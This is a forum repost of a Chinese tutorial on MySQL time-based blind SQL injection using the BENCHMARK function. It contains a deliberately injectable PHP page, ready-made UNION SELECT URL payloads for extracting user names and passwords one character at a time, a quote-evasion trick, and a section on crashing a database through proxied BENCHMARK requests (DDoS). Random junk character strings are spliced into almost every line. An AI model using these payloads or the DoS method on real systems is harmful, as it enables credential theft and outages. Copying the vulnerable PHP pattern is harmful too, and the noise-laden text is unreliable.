中国网络渗透测试联盟

标题: MYSQL中BENCHMARK函数的利用 [打印本页]

作者: admin    时间: 2012-9-15 14:03
标题: MYSQL中BENCHMARK函数的利用
MYSQL中BENCHMARK函数的利用 ! ^: V6 l% H7 |: a% j8 {" f9 v
本文作者:SuperHei
3 ~- ^; {8 u& Q' B7 W2 n9 V文章性质:原创7 l& l6 |4 A" Q* T
发布日期:2005-01-02
6 [. s8 }: a( d完成日期:2004-07-09
; v" I  F+ v! h- `第一部
, t/ Q) k7 v0 g
  P- s; ?3 q0 o  c' Q- T利用时间推延进行注射---BENCHMARK函数在注射中的利用
& c$ v! H3 ~+ `; ^: q' I" V4 v
; @" G6 ~5 I, c, i. ~# l5 ~一.前言/思路3 A6 a9 ~7 L+ I

  M/ x& k! S# k" M& T& `  如果你看了angel的《SQL Injection with MySQL》一文,你有会发现一般的mysql+php的注射都是通过返回错误信息,和union联合查询替换原来查询语句中的字段而直接输出敏感信息,但是有的时候,主机设置为不显示错误信息:display_errors = Off 而且有的代码中sql查询后只是简单的对查询结果进行判断,而不要求输出查询结果,我们用上面的办法注射将一无所获。我们可以采用时间推延来进行判断注射了。& [/ f. g' q7 i( ?

2 z" ]. f6 B9 D* `2 P  \  本技术的主要思路:通过在构造的语句用加入执行时间推延的函数,如果我们提交的判断是正确的,那么mysql查询时间就出现推延,如果提交的判断是正确,将不会执行时间推延的函数,查询语句将不会出现推延。这样我们就可以进行判断注射。
, o+ k, n, U4 L% O$ m( Y
( r" }4 G0 x& ?7 L7 H. A二.关于BENCHMARK函数0 F8 A' M* o/ S! u% ?2 U/ J

0 T- Z. z8 J# r6 H  在MySQL参考手册里可以看到如下描叙: 8 z" r6 x' L2 u

; ~' J/ ?2 i' _7 T3 y1 j: w! J+ P5 B9 c. ?* C. G* F
--------------------------------------------------------------------------------' N; p( S0 ?5 q! f+ k. ^

4 y' @# V3 V0 `: o! ~BENCHMARK(count,expr)
* \- A# c0 ^1 v! I: e3 F/ N* n; \BENCHMARK()函数重复countTimes次执行表达式expr,它可以用于计时MySQL处理表达式有多快。结果值总是0。意欲用于mysql客户,它报告查询的执行时间。
) F6 A5 g' S1 k# k& kmysql> select BENCHMARK(1000000,encode("hello","goodbye"));
* W2 r/ x; v* B6 E5 \1 M4 q+----------------------------------------------+
  u# I& B" a' @  z5 h| BENCHMARK(1000000,encode("hello","goodbye")) |
9 U6 ?& H  O1 R1 ?+----------------------------------------------+ ; @7 F3 R2 Y9 I  @9 R/ m
| 0 | - B1 R  _" g/ k5 p0 x, s3 A# m
+----------------------------------------------+ & R; R; m8 J1 M! ?! ^
1 row in set (4.74 sec)
: S% P* r, V+ d2 e  _, W2 c
; `' x- D7 m2 h; B3 E( E报告的时间是客户端的经过时间,不是在服务器端的CPU时间。执行BENCHMARK()若干次可能是明智的,并且注意服务器机器的负载有多重来解释结果。
' W. V; O: F& n" ~. P0 ^
$ e  a) ?1 z6 Q. m0 ]1 M" g) |: U4 m. D" ^& l; e/ Y
--------------------------------------------------------------------------------% ^% O; s# m" h$ U% P$ M4 L

% n. I5 b, R: O  只要我们把参数count 设置大点,那么那执行的时间就会变长。下面我们看看在mysql里执行的效果:
1 ^" u3 W9 v( G  {2 Z6 {" l# a( L: p8 z* r) T/ W6 _- ~
mysql> select md5( 'test' ); ' e/ Z. n' O' O
+----------------------------------+
2 A! P' C5 k. T| md5( 'test' ) |
5 @# X* n2 t4 c, Y. B+----------------------------------+
) Y6 p" J' k, g| 098f6bcd4621d373cade4e832627b4f6 | ! q0 d: N# K$ h, p
+----------------------------------+
: U$ B3 g: _: e) a# w1 E8 f8 ?1 row in set (0.00 sec) 〈-----------执行时间为0.00 sec 2 N& _) v8 X& G/ v3 ~+ ~3 s8 I, B
+ M8 O! r9 {2 \. t( y3 q: D5 b. q, o" ^
mysql> select benchmark( 500000, md5( 'test' ) );
& f, ]. ~1 I* p3 [; H8 Y: ?: I+------------------------------------+
6 r. _2 f- C; I| benchmark( 500000, md5( 'test' ) ) | : F! o, c' f8 F4 p
+------------------------------------+
4 `( K! L8 a: R5 l; ^| 0 |
! Y9 j3 L6 {$ K! f+------------------------------------+ 9 ?8 Q, g) |. X2 A5 x
1 row in set (6.55 sec) 〈------------执行时间为6.55 sec9 l3 y, D" [: t6 R9 B

; ?: b5 {" X6 p2 y
& ~6 {. E# u2 x/ z$ N  由此可以看出使用benchmark执行500000次的时间明显比正常执行时间延长了。
  s3 Y" z2 }! c2 E9 X2 M8 R' z& w+ ?2 G
三.具体例子6 d* y6 B( c9 S( {* X

8 G+ @) n/ \$ ?: h3 w; [( G  首先我们看个简单的php代码:
1 K: {8 ?6 e( ^9 |/ _* @$ h% Q6 I$ s- r# T! B" ]+ r) C7 m2 V% L
< ?php & l% V2 P* ]* k* `
$servername = "localhost"; # T+ ]  a5 |# g) Y9 Z. k  @
$dbusername = "root";
+ _; y3 c+ \. k8 ^7 t$dbpassword = ""; 5 B4 B. ^1 v1 ?( X; Y
$dbname = "injection"; 4 R5 k( o0 v$ Q/ b1 h( C! X

  f' g9 Z9 H; E, ^$ z: ~9 omysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败"); 1 j+ f, C" U+ c3 l
" F+ i9 R- b  _8 H6 n
$sql = "SELECT * FROM article WHERE articleid=$id";
+ ~/ n! o5 k) Y7 C1 h+ m) ^3 i$result = mysql_db_query($dbname,$sql); & n+ `5 ^" \* t4 N# \! i
$row = mysql_fetch_array($result);
$ z4 h; L% m; v- {& T0 Q6 J+ Q6 R
0 w% V! F2 \0 }) A  d& Z+ w7 l2 {if (!$row) 1 v& a# M+ x8 x
{
) Q$ B7 V" l/ o: Gexit; 9 Z* j+ t! t8 d. T, A, P' C4 c- n9 @
} & r3 V" q% k& t
?>) h$ m( `) u5 l7 V2 m
) w! V6 l" u; _5 c+ K% r

" C: ?; s, K0 G* i  数据库injection结构和内容如下:# z+ E. a+ |- _6 S

' Z4 c( k" x  P- g- P$ v# 数据库 : `injection` : x* r# r) ?- T* u( r
# + ^* X4 a3 v; F& W

  e( Z: r8 {5 H3 W# --------------------------------------------------------
" B% ^6 h, d$ _. w& q- t' \" Q) w( u" m6 ?3 o4 d
# / s# l6 ?. ?/ a' c
# 表的结构 `article`
! h1 X4 l8 ]6 w; C3 v/ h* t; Z#
. E* V  A% s& n7 N# {/ \0 ~3 E5 h# v6 e; h# `# G2 ~7 D( g
CREATE TABLE `article` ( & }; e7 H! M7 ]" K
`articleid` int(11) NOT NULL auto_increment, ; e/ ]& e# P4 @' b+ I2 ^
`title` varchar(100) NOT NULL default '',
9 k% e- ?8 J9 ?+ \6 O6 {& j`content` text NOT NULL,
$ n4 t3 `7 L0 ?" rPRIMARY KEY (`articleid`) 2 p: H! }1 Y6 M' `* v9 h- \3 g3 p5 E* w
) TYPE=MyISAM AUTO_INCREMENT=3 ; ' h. ]& w8 t! ?
: C" E6 Q2 C5 V0 U
# " b4 b% r5 I( R5 @0 L& F$ I9 t' B. P
# 导出表中的数据 `article`
# W9 N- U4 y2 K#
6 y6 w3 t' d9 j
1 I/ r1 E- d& AINSERT INTO `article` VALUES (1, '我是一个不爱读书的孩子', '中国的教育制度真是他妈的落后!如果我当教育部长。我要把所有老师都解雇!操~');
& C% f% H; I) J% |INSERT INTO `article` VALUES (2, '我恨死你', '我恨死你了,你是什么东西啊'); ! b4 p4 \0 K6 K

+ ~- w, `' I9 N- I# --------------------------------------------------------
# H6 ^- }$ d& e1 c9 y) V
0 X3 |% V, A$ S4 E( u# p2 b#
. |% H% {' R" F6 W: l1 |# 表的结构 `user` # d& y+ V' J) }# [1 K
#
6 n2 D% z( K1 d- }% j( [8 E) O: N: y$ U& X' X' X! U
CREATE TABLE `user` ( ( t8 B" T, u( u! A9 l' n% l
`userid` int(11) NOT NULL auto_increment, / G& ~0 r: [6 [  F6 D; u- s5 d
`username` varchar(20) NOT NULL default '', : G' q$ @& y7 ~) X7 z- q
`password` varchar(20) NOT NULL default '',
7 a2 G$ f( L0 a3 }- L/ k$ LPRIMARY KEY (`userid`) , o, m- G, i6 J# E4 @9 o
) TYPE=MyISAM AUTO_INCREMENT=3 ;
" e) `9 V" w7 l1 L! E( @1 E: F# S2 S7 L
#
, M! c4 H- a3 a! [# 导出表中的数据 `user`
4 S2 \0 B, }# Q. D* o& M' m# + y/ M$ E, d/ x" J& w8 e( H

4 T3 Z4 h* `8 ~) j9 rINSERT INTO `user` VALUES (1, 'angel', 'mypass'); 6 `8 [- `# @* Z$ r. q
INSERT INTO `user` VALUES (2, '4ngel', 'mypass2');
+ E( P5 U! @. x% n0 g* c  @8 G
) k6 v, Y3 L2 w  q# D' T. V7 j1 d- f; ^2 `& A5 {; }
  代码只是对查询结果进行简单的判断是否存在,假设我们已经设置display_errors=Off。我们这里就没办法利用union select的替换直接输出敏感信息(ps:这里不是说我们不利用union,因为在mysql中不支持子查询)或通过错误消息返回不同来判断注射了。我们利用union联合查询插入BENCHMARK函数语句来进行判断注射:- h0 ]/ Q( I) Q( l0 D

2 W* o, [, O* _7 u2 mid=1 union select 1,benchmark(500000,md5('test')),1 from user where userid=1 and ord(substring(username,1,1))=97 /*$ s0 I9 T* Q/ I6 z# T% f8 n; }

7 o, w3 R: s3 z8 D- j3 I: ?) k
" @% i! f) `8 _: M: C  上面语句可以猜userid为1的用户名的第一位字母的ascii码值是是否为97,如果是97,上面的查询将由于benchmark作用而延时。如果不为97,将不回出现延时,这样我们最终可以猜出管理员的用户名和密码了。 大家注意,这里有一个小技巧:在benchmark(500000,md5('test'))中我们使用了'号, 这样是很危险的,因为管理员随便设置下 就可以过滤使注射失败,我们这里test可以是用其他进制表示,如16进制。最终构造如下:
. H# i$ K6 v( E- G, {
* o  ?, q- F0 p1 u. ?http://127.0.0.1/test/test/show.php?id=1%20union%20select%201,benchmark(500000,md5(0x41)),1%20from%20user%20where%20userid=1%20and%20ord(substring(username,1,1))=97%20/*
: ?9 X- @9 ?1 Y  v- D( t9 K
% q( m* x' n6 X  j9 f7 x7 ]. ~( w2 u5 G! h! P2 e3 E( K
  执行速度很慢,得到userid为1的用户名的第一位字母的ascii码值是是为97。
9 t, F* \/ m+ k- S- k
7 T3 j7 T) D3 a! s7 E; H' t* O  注意:我们在使用union select事必须知道原来语句查询表里的字段数,以往我们是根据错误消息来判断,我们在union select 1,1,1我们不停的增加1 如果字段数正确将正常返回不会出现错误,而现在不可以使用这个方法了,那我们可以利用benchmark(),我们这样构造 union select benchmark(500000,md5(0x41)) 1,1 我们在增加1的,当字段数正确时就回执行benchmark()出现延时,这样我们就可以判断字段数了。
" g" F3 \: ?5 H! J, `
. p* k* }* s; m, S* i  \6 s第二部! Y  F! {- A! B6 J+ W- L0 J% A

" }9 J" h( Y# h1 x2 |利用BENCHMARK函数进行ddos攻击 $ e7 X# q! F3 z' E

% N2 |' n# {$ H2 }  其实思路很简单:在BENCHMARK(count,expr) 中 我们只要设置count 就是执行次数足够大的话,就可以造成dos攻击了,如果我们用代理或其他同时提交,就是ddos攻击,估计数据库很快就会挂了。不过前提还是要求可以注射。语句:* {/ U2 {' d: r) i. `+ x
& R3 }8 p( N. _3 t. F+ T
http://127.0.0.1/test/test/show.php?id=1%20union%20select%201,1,benchmark(99999999,md5(0x41))
3 a$ x/ e  U; J+ n/ {; N
% G- B" X2 u, c8 u
6 Y2 g5 z3 @! ^+ r& ~4 s9 O2 L小结
# G! @) I; m, O/ T, j5 W- l* [5 ^: ]0 a) i! n) J9 v. i/ C
  本文主要思路来自http://www.ngssoftware.com/papers/HackproofingMySQL.pdf,其实关于利用时间差进行注射在mssql注射里早有应用,只是所利用的函数不同而已(见http://www.ngssoftware.com/papers/more_advanced_sql_injection.pdf)。关于mysql+php一般注射的可以参考angel的文章《SQL Injection with MySQL》。
0 g' x& r/ I) ~5 D% i ! }+ y+ c+ H) B1 O
  : y; [8 c. Z' S; c





欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2